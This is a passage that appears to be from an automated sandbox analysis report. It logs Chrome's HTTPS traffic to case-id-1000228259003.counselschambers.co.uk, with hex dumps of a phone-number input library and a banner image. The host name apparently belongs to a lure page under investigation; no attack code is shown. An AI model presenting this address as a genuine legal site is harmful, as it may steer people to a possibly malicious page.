6d 72 22 2c 22 32 32 32 22 5d 2c 5b 22 4d 61 75 72 69 74 69 75 73 20 28 4d 6f 72 69 73 29 22 2c 22 6d 75 22 2c 22 32 33 30 Data Ascii: ,["Malawi","mw","265"],["Malaysia","my","60"],["Maldives","mv","960"],["Mali","ml","223"],["Malta","mt","356"],["Marshall Islands","mh","692"],["Martinique","mq","596"],["Mauritania ()","mr","222"],["Mauritius (Moris)","mu","230
2025-03-14 09:08:46 UTC	1378	IN	Data Raw: 5b 22 50 61 72 61 67 75 61 79 22 2c 22 70 79 22 2c 22 35 39 35 22 5d 2c 5b 22 50 65 72 75 20 28 50 65 72 c3 ba 29 22 2c 22 70 65 22 2c 22 35 31 22 5d 2c 5b 22 50 68 69 6c 69 70 70 69 6e 65 73 22 2c 22 70 68 22 2c 22 36 33 22 5d 2c 5b 22 50 6f 6c 61 6e 64 20 28 50 6f 6c 73 6b 61 29 22 2c 22 70 6c 22 2c 22 34 38 22 5d 2c 5b 22 50 6f 72 74 75 67 61 6c 22 2c 22 70 74 22 2c 22 33 35 31 22 5d 2c 5b 22 50 75 65 72 74 6f 20 52 69 63 6f 22 2c 22 70 72 22 2c 22 31 22 2c 33 2c 5b 22 37 38 37 22 2c 22 39 33 39 22 5d 5d 2c 5b 22 51 61 74 61 72 20 28 e2 80 ab d9 82 d8 b7 d8 b1 e2 80 ac e2 80 8e 29 22 2c 22 71 61 22 2c 22 39 37 34 22 5d 2c 5b 22 52 c3 a9 75 6e 69 6f 6e 20 28 4c 61 20 52 c3 a9 75 6e 69 6f 6e 29 22 2c 22 72 65 22 2c 22 32 36 32 22 2c 30 5d 2c 5b 22 52 6f Data Ascii: ["Paraguay","py","595"],["Peru (Per)","pe","51"],["Philippines","ph","63"],["Poland (Polska)","pl","48"],["Portugal","pt","351"],["Puerto Rico","pr","1",3,["787","939"]],["Qatar ()","qa","974"],["Runion (La Runion)","re","262",0],["Ro
2025-03-14 09:08:46 UTC	1378	IN	Data Raw: e0 b7 8a e2 80 8d e0 b6 bb e0 b7 93 20 e0 b6 bd e0 b6 82 e0 b6 9a e0 b7 8f e0 b7 80 29 22 2c 22 6c 6b 22 2c 22 39 34 22 5d 2c 5b 22 53 75 64 61 6e 20 28 e2 80 ab d8 a7 d9 84 d8 b3 d9 88 d8 af d8 a7 d9 86 e2 80 ac e2 80 8e 29 22 2c 22 73 64 22 2c 22 32 34 39 22 5d 2c 5b 22 53 75 72 69 6e 61 6d 65 22 2c 22 73 72 22 2c 22 35 39 37 22 5d 2c 5b 22 53 76 61 6c 62 61 72 64 20 61 6e 64 20 4a 61 6e 20 4d 61 79 65 6e 22 2c 22 73 6a 22 2c 22 34 37 22 2c 31 2c 5b 22 37 39 22 5d 5d 2c 5b 22 53 77 65 64 65 6e 20 28 53 76 65 72 69 67 65 29 22 2c 22 73 65 22 2c 22 34 36 22 5d 2c 5b 22 53 77 69 74 7a 65 72 6c 61 6e 64 20 28 53 63 68 77 65 69 7a 29 22 2c 22 63 68 22 2c 22 34 31 22 5d 2c 5b 22 53 79 72 69 61 20 28 e2 80 ab d8 b3 d9 88 d8 b1 d9 8a d8 a7 e2 80 ac e2 80 8e 29 Data Ascii: )","lk","94"],["Sudan ()","sd","249"],["Suriname","sr","597"],["Svalbard and Jan Mayen","sj","47",1,["79"]],["Sweden (Sverige)","se","46"],["Switzerland (Schweiz)","ch","41"],["Syria ()
2025-03-14 09:08:46 UTC	1378	IN	Data Raw: 2c 22 7a 77 22 2c 22 32 36 33 22 5d 2c 5b 22 c3 85 6c 61 6e 64 20 49 73 6c 61 6e 64 73 22 2c 22 61 78 22 2c 22 33 35 38 22 2c 31 2c 5b 22 31 38 22 5d 5d 5d 2c 66 3d 30 3b 66 3c 65 2e 6c 65 6e 67 74 68 3b 66 2b 2b 29 7b 76 61 72 20 67 3d 65 5b 66 5d 3b 65 5b 66 5d 3d 7b 6e 61 6d 65 3a 67 5b 30 5d 2c 69 73 6f 32 3a 67 5b 31 5d 2c 64 69 61 6c 43 6f 64 65 3a 67 5b 32 5d 2c 70 72 69 6f 72 69 74 79 3a 67 5b 33 5d 7c 7c 30 2c 61 72 65 61 43 6f 64 65 73 3a 67 5b 34 5d 7c 7c 6e 75 6c 6c 7d 7d 76 61 72 20 68 3d 7b 67 65 74 49 6e 73 74 61 6e 63 65 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 61 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 69 6e 74 6c 2d 74 65 6c 2d 69 6e 70 75 74 2d 69 64 22 29 3b 72 65 74 75 72 6e 20 77 69 6e 64 6f 77 2e Data Ascii: ,"zw","263"],["land Islands","ax","358",1,["18"]]],f=0;f<e.length;f++){var g=e[f];e[f]={name:g[0],iso2:g[1],dialCode:g[2],priority:g[3]\|\|0,areaCodes:g[4]\|\|null}}var h={getInstance:function(a){var b=a.getAttribute("data-intl-tel-input-id");return window.
2025-03-14 09:08:46 UTC	1378	IN	Data Raw: 73 2e 64 2e 6e 61 74 69 6f 6e 61 6c 4d 6f 64 65 26 26 28 74 68 69 73 2e 64 2e 61 75 74 6f 48 69 64 65 44 69 61 6c 43 6f 64 65 3d 21 31 29 2c 74 68 69 73 2e 64 2e 73 65 70 61 72 61 74 65 44 69 61 6c 43 6f 64 65 26 26 28 74 68 69 73 2e 64 2e 61 75 74 6f 48 69 64 65 44 69 61 6c 43 6f 64 65 3d 74 68 69 73 2e 64 2e 6e 61 74 69 6f 6e 61 6c 4d 6f 64 65 3d 21 31 29 2c 74 68 69 73 2e 67 3d 2f 41 6e 64 72 6f 69 64 2e 2b 4d 6f 62 69 6c 65 7c 77 65 62 4f 53 7c 69 50 68 6f 6e 65 7c 69 50 6f 64 7c 42 6c 61 63 6b 42 65 72 72 79 7c 49 45 4d 6f 62 69 6c 65 7c 4f 70 65 72 61 20 4d 69 6e 69 2f 69 2e 74 65 73 74 28 6e 61 76 69 67 61 74 6f 72 2e 75 73 65 72 41 67 65 6e 74 29 2c 74 68 69 73 2e 67 26 26 28 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 2e 63 6c 61 73 73 4c 69 73 74 2e Data Ascii: s.d.nationalMode&&(this.d.autoHideDialCode=!1),this.d.separateDialCode&&(this.d.autoHideDialCode=this.d.nationalMode=!1),this.g=/Android.+Mobile\|webOS\|iPhone\|iPod\|BlackBerry\|IEMobile\|Opera Mini/i.test(navigator.userAgent),this.g&&(document.body.classList.
2025-03-14 09:08:46 UTC	1378	IN	Data Raw: 3d 62 2e 69 6e 64 65 78 4f 66 28 61 2e 69 73 6f 32 29 7d 29 7d 65 6c 73 65 20 74 68 69 73 2e 70 3d 65 7d 7d 2c 7b 6b 65 79 3a 22 5f 64 30 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 66 6f 72 28 76 61 72 20 61 3d 30 3b 61 3c 74 68 69 73 2e 70 2e 6c 65 6e 67 74 68 3b 61 2b 2b 29 7b 76 61 72 20 62 3d 74 68 69 73 2e 70 5b 61 5d 2e 69 73 6f 32 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3b 74 68 69 73 2e 64 2e 6c 6f 63 61 6c 69 7a 65 64 43 6f 75 6e 74 72 69 65 73 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 62 29 26 26 28 74 68 69 73 2e 70 5b 61 5d 2e 6e 61 6d 65 3d 74 68 69 73 2e 64 2e 6c 6f 63 61 6c 69 7a 65 64 43 6f 75 6e 74 72 69 65 73 5b 62 5d 29 7d 7d 7d 2c 7b 6b 65 79 3a 22 5f 64 31 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 61 2c Data Ascii: =b.indexOf(a.iso2)})}else this.p=e}},{key:"_d0",value:function(){for(var a=0;a<this.p.length;a++){var b=this.p[a].iso2.toLowerCase();this.d.localizedCountries.hasOwnProperty(b)&&(this.p[a].name=this.d.localizedCountries[b])}}},{key:"_d1",value:function(a,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	49758	104.21.70.234	443	5960	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-14 09:08:46 UTC	678	OUT	GET /banner-b1482d4c.webp HTTP/1.1 Host: case-id-1000228259003.counselschambers.co.uk Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://case-id-1000228259003.counselschambers.co.uk/index-5b6c678b.css Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-14 09:08:47 UTC	939	IN	HTTP/1.1 200 OK Date: Fri, 14 Mar 2025 09:08:47 GMT Content-Type: image/webp Content-Length: 19448 Connection: close Last-Modified: Tue, 11 Feb 2025 14:58:23 GMT ETag: "4bf8-62ddf0e7534e3" Accept-Ranges: bytes Cache-Control: max-age=14400 cf-cache-status: MISS Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Fxl99cP%2BmyUEAanW986GxynFfenx0oNW3uwaZYbtcvLyTz1Lr9a0uH8vhqCXCTytib5dLZoIuDoiIXXnZI%2Fd2Qh%2FwIN4HMqtxFJNH5ylslCJnxSxTzl5CmA4poWcvx4K1mBVuHLpQ99Xhme6ox2y7W%2FaNDJOnO4%2ByhKlyR9NuQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 9202a0e20b8243e7-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1559&min_rtt=1550&rtt_var=599&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2855&recv_bytes=1250&delivery_rate=1798029&cwnd=220&unsent_bytes=0&cid=e0305553b2970582&ts=1628&x=0"
2025-03-14 09:08:47 UTC	430	IN	Data Raw: 52 49 46 46 f0 4b 00 00 57 45 42 50 56 50 38 20 e4 4b 00 00 90 eb 01 9d 01 2a 80 07 af 00 3e 6d 36 95 48 a4 23 22 22 24 92 8a 58 80 0d 89 67 6e 4b f3 eb ee 6c ae 17 55 1d 2b fe ff 9b d7 2d 2d c0 3b bf 91 cf 00 3a 80 6d 5a a3 72 8e 19 a5 1c f1 ef e5 77 b4 7a 63 fe d1 e9 75 d1 e7 cc 67 9d ef a7 5f f8 5e 93 3d 4d 3f db 3a 6e 3d 6a 3f d3 f4 80 7f ff f6 e9 e8 87 f8 3f 32 9f 69 ff 37 c7 9f d5 7f 5d e6 b5 fe f6 66 fe a7 bb 2f 71 9e cd ff 90 f1 0b c9 6e cb 70 09 df 93 36 ef d5 34 43 ff eb d7 3f 14 4f cc 74 52 7f ed fb e7 eb 9f f7 2f fd 5e 99 5d 78 bd 13 43 0a 23 29 ad f9 65 fb 95 ff 15 56 32 4e e6 e5 b2 6c 7a 38 83 a6 0f 0a 21 eb 97 e5 f7 69 0a de 11 77 ca ab e3 7f cf eb fd 1a 41 2a d8 0a 9b e3 c1 db 13 93 36 9c 2a 0a ce 53 91 d0 7b 9c 51 35 1e e1 f7 5f df 15 90 Data Ascii: RIFFKWEBPVP8 K>m6H#""$XgnKlU+--;:mZrwzcug_^=M?:n=j??2i7]f/qnp64C?OtR/^]xC#)eV2Nlz8!iwA6*S{Q5_
2025-03-14 09:08:47 UTC	1369	IN	Data Raw: 6c 6c 27 ad 82 c8 59 d1 e1 8c 59 fa 01 74 e5 27 75 06 59 a9 27 ed a4 2e 6f d1 14 b2 5e ff 10 ba 09 37 95 34 d5 e9 18 b1 12 ae ae 7a ec 93 94 13 2e 1a 25 18 17 52 c7 4e d8 11 e3 89 05 35 20 9b ef 72 6e 83 63 9a 63 52 30 06 ff 73 81 d4 3f 26 e2 75 fe c2 30 e7 35 59 a3 79 be 19 1b 4f 0a d1 5d 87 76 c9 42 21 b2 24 c0 5d a1 9b 11 6f 0e 7a 1f a9 b1 26 8c 54 db e9 1d 2f 1d a5 69 bd 87 00 dc 55 25 45 13 c5 0f 9b 08 3b 70 84 43 57 cc 48 99 ba 3d 22 6f f3 76 b6 47 70 64 18 9d b6 98 61 92 5d 41 e3 98 f3 24 c3 b0 98 f3 2f 6b 5f 49 3a 03 bd 97 04 cc b2 18 a8 fa e1 a0 26 84 3a 86 cf 1b fe 5f ec 18 dd f1 d6 8e 71 78 06 06 16 ad a9 e1 23 48 bb 84 0d bc 27 80 c2 c1 00 53 ff e2 6c 8b 20 fa 5c 63 e3 bf 37 47 97 0f b3 9e 5a fd 71 ef f5 c0 61 70 58 38 77 0b f5 18 2d 62 80 0c Data Ascii: ll'YYt'uY'.o^74z.%RN5 rnccR0s?&u05YyO]vB!$]oz&T/iU%E;pCWH="ovGpda]A$/k_I:&:_qx#H'Sl \c7GZqapX8w-b
2025-03-14 09:08:47 UTC	1369	IN	Data Raw: da 7c 10 59 1a 4c e1 5e 74 96 ec b0 01 43 ab 3e 3e 70 d2 ff fd 16 a2 ce 29 b7 e7 79 2b 71 84 a0 2b db 0f 00 9b a7 c4 9e 11 bb 80 40 4d 1b 7d 28 8c d7 27 b3 e3 35 44 3c c5 fa 1c 0b 2d 21 07 ce 86 cb 33 b2 e7 9d 07 bd a6 75 b6 52 9d 27 19 12 b9 78 8b 02 51 2b d5 c9 f2 48 ec d2 60 fc 20 be a3 64 f6 7e b9 d3 33 6f 24 43 8a a3 91 ff 61 de 78 dc a1 b8 13 9e 2b 60 3c ce 6a 56 8b ad 44 f2 af 4e d0 31 e4 b4 25 c0 22 aa 81 df fc 5d fd ef d1 cf c8 89 a3 f8 b9 74 13 69 f8 98 1b 29 0f ae 17 06 a0 9a 59 92 56 83 4d 86 00 62 45 2f 13 58 ed 96 1c fd a0 44 b4 21 b5 d2 7e 91 39 40 a1 ba 0b ef a0 12 b4 25 ec e4 95 e4 c1 ca 33 8d d4 82 6b bd 3d 9f 5b 1a 37 21 1b b0 89 2d f0 67 a7 af 71 56 50 12 d8 98 dd 21 a3 ba 26 8e 5a f1 52 a0 ed 5b e0 46 79 33 aa bd 6c 88 04 11 9d 16 5e Data Ascii: \|YL^tC>>p)y+q+@M}('5D<-!3uR'xQ+H` d~3o$Cax+`<jVDN1%"]ti)YVMbE/XD!~9@%3k=[7!-gqVP!&ZR[Fy3l^
2025-03-14 09:08:47 UTC	1369	IN	Data Raw: 44 05 a3 7f 26 93 b0 e1 1b 25 e4 f0 07 d4 52 a7 f0 ea bb c1 c6 f0 aa 22 42 62 c7 89 41 4c b1 c5 d1 e4 0c cb bc e7 17 a2 1b 9c b5 42 06 d0 e4 c1 85 67 ef 35 b2 e9 06 ed d8 69 53 46 8b d0 49 2e 18 38 b6 e9 ef d4 1e 59 8b ba 05 12 96 35 fe 13 29 43 b6 b7 50 93 e8 7f 56 c1 67 05 a2 11 24 10 7e 65 fd 04 78 ea 98 3b d8 24 fc 41 62 24 a3 46 88 4f f4 93 c7 e9 70 08 ea 25 54 43 62 2f bc 42 fd 23 3e 51 39 29 ce 9a c8 38 3f f2 d6 06 88 60 90 6f a0 66 8f 40 8a e6 51 9c 5f 2c 91 d5 17 0d b0 d2 83 2b 29 b2 dd 26 a2 6c 80 4a f1 d7 a1 ab 70 53 2f 6d 60 ca a9 90 5f 14 59 78 90 71 b8 91 50 3e b5 20 31 38 10 ce 7c d4 79 60 8d a7 58 54 ea 7e b2 0b b7 32 6d 52 6b f2 85 cd 1f a2 26 a1 12 e6 7d a4 0a 2e de 26 1c 3c 0a ed f3 9a c8 34 a1 b6 a4 48 a6 1c 60 08 eb 61 a8 2c 51 24 62 Data Ascii: D&%R"BbALBg5iSFI.8Y5)CPVg$~ex;$Ab$FOp%TCb/B#>Q9)8?`of@Q_,+)&lJpS/m`_YxqP> 18\|y`XT~2mRk&}.&<4H`a,Q$b
2025-03-14 09:08:47 UTC	1369	IN	Data Raw: 57 80 00 33 df df 13 96 c5 ff aa f8 e1 1a 25 33 3f 14 6f 76 5a 16 c0 d8 85 d7 43 d9 44 98 e0 fb fa 75 e6 72 d7 eb c5 32 ba 41 04 81 8d 5c e3 3d 94 68 49 5d 0f c2 0f 7e fa 9a 1a b7 97 d2 ee b1 d3 b8 ab 5d 74 29 5f b9 58 b8 c4 69 10 7a 15 82 cc ae a3 fd ad 9a 8e ca d5 68 3a 53 11 e6 45 87 36 32 ef 73 93 f2 c1 22 41 9b 28 d1 81 58 3b 42 e9 8c 85 c7 98 e1 58 bc 02 af 49 bc 95 52 a6 a5 c6 97 ec e0 db de 46 c4 df 37 f6 20 18 e1 a4 10 82 2d c9 f7 7c 35 7b ee 04 21 94 4b bb a1 a1 be 4a a1 db 98 6c 57 7a f6 9d a2 b7 00 a3 6a 24 fb bc 8b b8 af 0a 1d 89 3f cb 47 f4 52 60 45 9e 1d bb 6f 46 8d 26 34 80 48 5c a5 8d 86 0f 33 05 70 4c 1c 0d b9 11 64 fd 19 ef 03 ef ff 9c ca 7f 50 12 eb 28 fe fb 4f ae 58 70 6e 5c 5b 96 e4 a0 a9 04 15 ce 51 2c 95 f1 07 88 71 c0 fb e2 f0 f1 Data Ascii: W3%3?ovZCDur2A\=hI]~]t)_Xizh:SE62s"A(X;BXIRF7 -\|5{!KJlWzj$?GR`EoF&4H\3pLdP(OXpn\[Q,q
2025-03-14 09:08:47 UTC	1369	IN	Data Raw: b7 d0 36 0e 25 cf ea a0 9e f8 c5 b6 2a 9c bc 7e af da ea 15 08 26 4d 8f c5 66 3b 01 5c b7 ef f1 bd 42 05 76 cc 6c 72 9f 32 2a 08 b8 71 07 dc 6e ff 07 0c cc 0d 69 70 a6 bb af dd 95 c3 8e aa aa 9f b3 9e e5 27 4d 53 f6 ce 68 8f 30 ee 54 5a d2 25 3b 21 89 78 db 81 15 7d 0e 70 26 d6 09 0f ae 5c 60 84 6a 96 91 fb e7 e1 6b 23 ec f8 34 c5 2f e9 a1 82 a5 6d fa ac 5c 15 cc 8f a2 d7 56 48 41 31 11 5f 7f d3 fd c5 8c 52 d3 1d 4a 5e 1c 92 e9 0f 3a 26 96 6a 9c ba 04 eb 02 c5 3b a9 db 81 c2 ac f5 ea 37 02 97 a0 84 b1 14 69 4f 78 2a 1c 3f f8 21 46 35 35 88 a6 51 7a 69 d7 86 e6 4b d1 61 35 07 cb d3 91 d4 e3 80 5f 7a e2 94 07 81 6d d4 fc fa d6 e6 ba 8b 64 50 b0 c5 7e cf 92 66 c8 0b 04 dc d6 4a 0b cb 53 1c e6 da 7b 9e 3f 3d af 6b 3d fe e3 99 5c ec c6 3c 92 43 97 76 d4 a0 52 Data Ascii: 6%~&Mf;\Bvlr2qnip'MSh0TZ%;!x}p&\`jk#4/m\VHA1_RJ^:&j;7iOx*?!F55QziKa5_zmdP~fJS{?=k=\<CvR
2025-03-14 09:08:47 UTC	1369	IN	Data Raw: dc 31 c2 02 ab ff 7b e3 51 09 ee 62 35 7b 34 cb d6 01 ed ef 9f 1e 64 31 26 dc 08 fa dd 7d d9 f5 ec 2c 61 0f 7b 09 42 7e 89 2a 78 90 d3 98 32 a3 65 ac f4 64 1e c6 c8 0f 49 3d 06 4e c7 10 ff d1 36 7d 69 cc dc 9c f1 48 66 e2 0c 2f 64 29 43 b6 18 a7 2e e4 b1 91 87 14 1a fa 39 b6 13 15 9e dc 1c 83 c9 10 3f a2 92 70 f0 b0 42 9b 41 28 59 d5 1d 51 f3 10 95 3f 9d 87 da dc 47 b9 0e c0 09 e5 ba 15 b9 52 7f 25 c1 45 d0 29 88 35 55 ef bc b4 22 ca 2d ec fb b6 69 c8 05 2c 5d 42 99 2f bd c7 5a 38 df ae dc f1 01 29 58 da 59 f0 56 44 79 09 f1 78 39 77 2f a4 3d b7 bc 69 82 98 d9 ed 9c 96 ce 64 95 76 e7 67 80 2e d2 bd 19 87 33 14 a2 e3 52 cc 15 5e 25 d6 0c ba 5a 6d 33 f7 70 cc e8 80 40 a9 cc ab 07 23 07 66 4d fd ef 23 ff 04 11 4f d5 e1 fd 89 2e c0 82 84 62 b3 91 05 db 77 e4 Data Ascii: 1{Qb5{4d1&},a{B~*x2edI=N6}iHf/d)C.9?pBA(YQ?GR%E)5U"-i,]B/Z8)XYVDyx9w/=idvg.3R^%Zm3p@#fM#O.bw
2025-03-14 09:08:47 UTC	1369	IN	Data Raw: 68 ae 2f ed 5d 60 45 67 a9 a4 cd e1 26 fe dd 9a a8 25 d8 3c 82 1b 65 d6 3a 1c aa d0 37 52 be 29 30 82 68 ab 74 09 62 5f aa e9 d5 f0 96 b5 91 66 42 9c c2 73 84 9a 1a aa 30 6d 91 61 98 e7 33 15 77 b3 63 93 f7 0f 4c 94 a5 24 dd c5 c1 96 dc 03 2a 80 e4 94 80 32 c3 c7 ee 19 e7 f8 4f 65 29 ee a9 14 8b 41 fe 5b 1f ad d2 33 6e 8d c4 a3 94 08 5b 8e ad c2 d6 c3 2a f8 9a c5 89 cb 22 5f 43 39 32 94 24 40 1e de af 90 51 10 92 aa c3 90 f5 1b 0e 57 06 85 5c e5 1a e9 6a 8b a2 1d cf ab 9d b8 24 87 dd 6a 02 61 7b c8 3c 8b 64 de 03 a3 0e f5 2d 9f 1b af 95 1e a9 b5 0b 28 fc 1f f1 61 aa 4d 1a 7c 7e 69 18 5a 22 87 01 98 ed 8f 67 ca 85 b4 a3 50 88 db c1 5f df d4 a6 11 c6 b5 63 ad 1d 08 93 fe da dc e4 6c eb 2c f6 b8 d4 43 23 60 27 7c 86 7b 9e e1 40 e4 38 00 3e e8 08 90 b7 04 53 Data Ascii: h/]`Eg&%<e:7R)0htb_fBs0ma3wcL$2Oe)A[3n["_C92$@QW\j$ja{<d-(aM\|~iZ"gP_cl,C#`'\|{@8>S
2025-03-14 09:08:47 UTC	1369	IN	Data Raw: d5 94 10 31 f0 a2 11 14 eb a8 45 09 7b fb c8 00 49 96 40 df 1d a3 f2 02 01 9d 93 23 05 3b fa fe 88 69 b4 2c fc b8 26 c3 d8 28 9a 05 ba ab 8e dc df e4 b2 45 ec 53 8a f7 16 f1 7e 25 4c cf ac c8 bd 94 37 6e 9e 7d 29 2e 4f 3e ee 52 9f d7 45 9c 6f b8 60 74 38 f8 c4 ca fa 1f b2 e4 92 10 ac 53 9a 22 07 17 63 e4 8a cf 32 f6 e5 6e 43 07 82 af 1d c9 0b a1 90 2c 0b 78 d2 c8 6e e4 a4 0f 5e fd 01 1d ca 8e 43 29 99 7b 4d f7 e0 29 c6 d3 a4 0d a0 fa 76 d5 02 5c 52 d3 b7 22 45 13 ac 60 05 8c 21 ce f7 a3 47 8a d0 4c 63 88 f3 fa 7a 87 f3 25 88 82 aa ce 2d 6a 98 e3 ed 23 2a b2 71 6b 91 ad 22 0d f0 e2 48 84 ea bd 64 ad ca 63 44 9b 86 ef 46 2d 38 af 5c e0 69 a7 ad 52 75 e3 96 d1 23 8b 67 9a a7 1e 6f 03 99 d9 db d3 cc 7b 32 a1 43 7d f9 04 5e bc c5 05 59 85 04 8d 14 db ff 4f 2e Data Ascii: 1E{I@#;i,&(ES~%L7n}).O>REo`t8S"c2nC,xn^C){M)v\R"E`!GLcz%-j#*qk"HdcDF-8\iRu#go{2C}^YO.
2025-03-14 09:08:47 UTC	1369	IN	Data Raw: 69 52 9d 25 81 5d f1 5c a7 0b ce 9b d6 53 5f 0e 49 2c e0 20 2e 69 4e be d4 41 e8 08 41 94 d7 51 56 75 6e 77 86 8e 60 80 28 4a b5 c0 61 12 86 f6 0f 3b e4 a8 f3 46 45 e4 b7 9b 7b 68 ad 65 7c c6 3b 81 70 86 96 b1 02 00 f0 e3 ff 44 4e e0 52 a1 df e9 23 ef a8 4a 6b fb c7 16 90 38 94 cb 3a 71 d0 3a 1e f2 30 d4 99 c1 0f e1 be 73 47 70 5f 9b 0a 73 26 27 e1 cd a8 e3 e1 7d bb 33 de 95 52 86 2e 44 9a 2d f6 79 fd 89 af 16 9b ca e4 39 64 0a c2 52 af b2 59 aa d6 28 76 00 42 99 49 de fd 47 81 ad de 90 96 d1 1c ab 81 98 db 50 81 9f 00 08 07 d6 c1 c4 f0 a7 8c 80 54 27 20 7d 16 81 36 08 9e 2f 0d 1f 6c 70 d5 e8 66 51 4c 25 bb bc c1 b5 cf d9 37 50 6d 0f 87 b3 c2 1b 78 8e c0 5b 05 a5 4b c4 71 bf 0c cf db 45 4d 3b 6c 21 9f a2 f7 9b 34 9a ff 33 ba cc 17 87 65 fb 84 03 b8 8b 39 Data Ascii: iR%]\S_I, .iNAAQVunw`(Ja;FE{he\|;pDNR#Jk8:q:0sGp_s&'}3R.D-y9dRY(vBIGPT' }6/lpfQL%7Pmx[KqEM;l!43e9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	49761	172.67.168.191	443	5960	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-14 09:08:48 UTC	428	OUT	GET /banner-b1482d4c.webp HTTP/1.1 Host: case-id-1000228259003.counselschambers.co.uk Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-14 09:08:48 UTC	939	IN	HTTP/1.1 200 OK Date: Fri, 14 Mar 2025 09:08:48 GMT Content-Type: image/webp Content-Length: 19448 Connection: close Last-Modified: Tue, 11 Feb 2025 14:58:23 GMT ETag: "4bf8-62ddf0e7534e3" Accept-Ranges: bytes Age: 0 Cache-Control: max-age=14400 cf-cache-status: HIT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KrDJT0BHSzDif0bPcPWAlafhgo3OAV9z0c336x4ih0iJd7C1SZMwbjQN6xeGQLZ2gCx40psSfcOscxxP01yg15MZppQw7Z7mhsQWzZuhexlwhNd2rSvMwOqsoJ%2BwSj9LotupRxmw1DZZ6Jak5HpxEzfn6NOL%2FC71X91mZzhQrg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 9202a0e9594c4301-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1977&min_rtt=1970&rtt_var=754&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2857&recv_bytes=1000&delivery_rate=1436301&cwnd=108&unsent_bytes=0&cid=a0eb1888d4db7612&ts=272&x=0"
2025-03-14 09:08:48 UTC	430	IN	Data Raw: 52 49 46 46 f0 4b 00 00 57 45 42 50 56 50 38 20 e4 4b 00 00 90 eb 01 9d 01 2a 80 07 af 00 3e 6d 36 95 48 a4 23 22 22 24 92 8a 58 80 0d 89 67 6e 4b f3 eb ee 6c ae 17 55 1d 2b fe ff 9b d7 2d 2d c0 3b bf 91 cf 00 3a 80 6d 5a a3 72 8e 19 a5 1c f1 ef e5 77 b4 7a 63 fe d1 e9 75 d1 e7 cc 67 9d ef a7 5f f8 5e 93 3d 4d 3f db 3a 6e 3d 6a 3f d3 f4 80 7f ff f6 e9 e8 87 f8 3f 32 9f 69 ff 37 c7 9f d5 7f 5d e6 b5 fe f6 66 fe a7 bb 2f 71 9e cd ff 90 f1 0b c9 6e cb 70 09 df 93 36 ef d5 34 43 ff eb d7 3f 14 4f cc 74 52 7f ed fb e7 eb 9f f7 2f fd 5e 99 5d 78 bd 13 43 0a 23 29 ad f9 65 fb 95 ff 15 56 32 4e e6 e5 b2 6c 7a 38 83 a6 0f 0a 21 eb 97 e5 f7 69 0a de 11 77 ca ab e3 7f cf eb fd 1a 41 2a d8 0a 9b e3 c1 db 13 93 36 9c 2a 0a ce 53 91 d0 7b 9c 51 35 1e e1 f7 5f df 15 90 Data Ascii: RIFFKWEBPVP8 K>m6H#""$XgnKlU+--;:mZrwzcug_^=M?:n=j??2i7]f/qnp64C?OtR/^]xC#)eV2Nlz8!iwA6*S{Q5_
2025-03-14 09:08:48 UTC	1369	IN	Data Raw: 6c 6c 27 ad 82 c8 59 d1 e1 8c 59 fa 01 74 e5 27 75 06 59 a9 27 ed a4 2e 6f d1 14 b2 5e ff 10 ba 09 37 95 34 d5 e9 18 b1 12 ae ae 7a ec 93 94 13 2e 1a 25 18 17 52 c7 4e d8 11 e3 89 05 35 20 9b ef 72 6e 83 63 9a 63 52 30 06 ff 73 81 d4 3f 26 e2 75 fe c2 30 e7 35 59 a3 79 be 19 1b 4f 0a d1 5d 87 76 c9 42 21 b2 24 c0 5d a1 9b 11 6f 0e 7a 1f a9 b1 26 8c 54 db e9 1d 2f 1d a5 69 bd 87 00 dc 55 25 45 13 c5 0f 9b 08 3b 70 84 43 57 cc 48 99 ba 3d 22 6f f3 76 b6 47 70 64 18 9d b6 98 61 92 5d 41 e3 98 f3 24 c3 b0 98 f3 2f 6b 5f 49 3a 03 bd 97 04 cc b2 18 a8 fa e1 a0 26 84 3a 86 cf 1b fe 5f ec 18 dd f1 d6 8e 71 78 06 06 16 ad a9 e1 23 48 bb 84 0d bc 27 80 c2 c1 00 53 ff e2 6c 8b 20 fa 5c 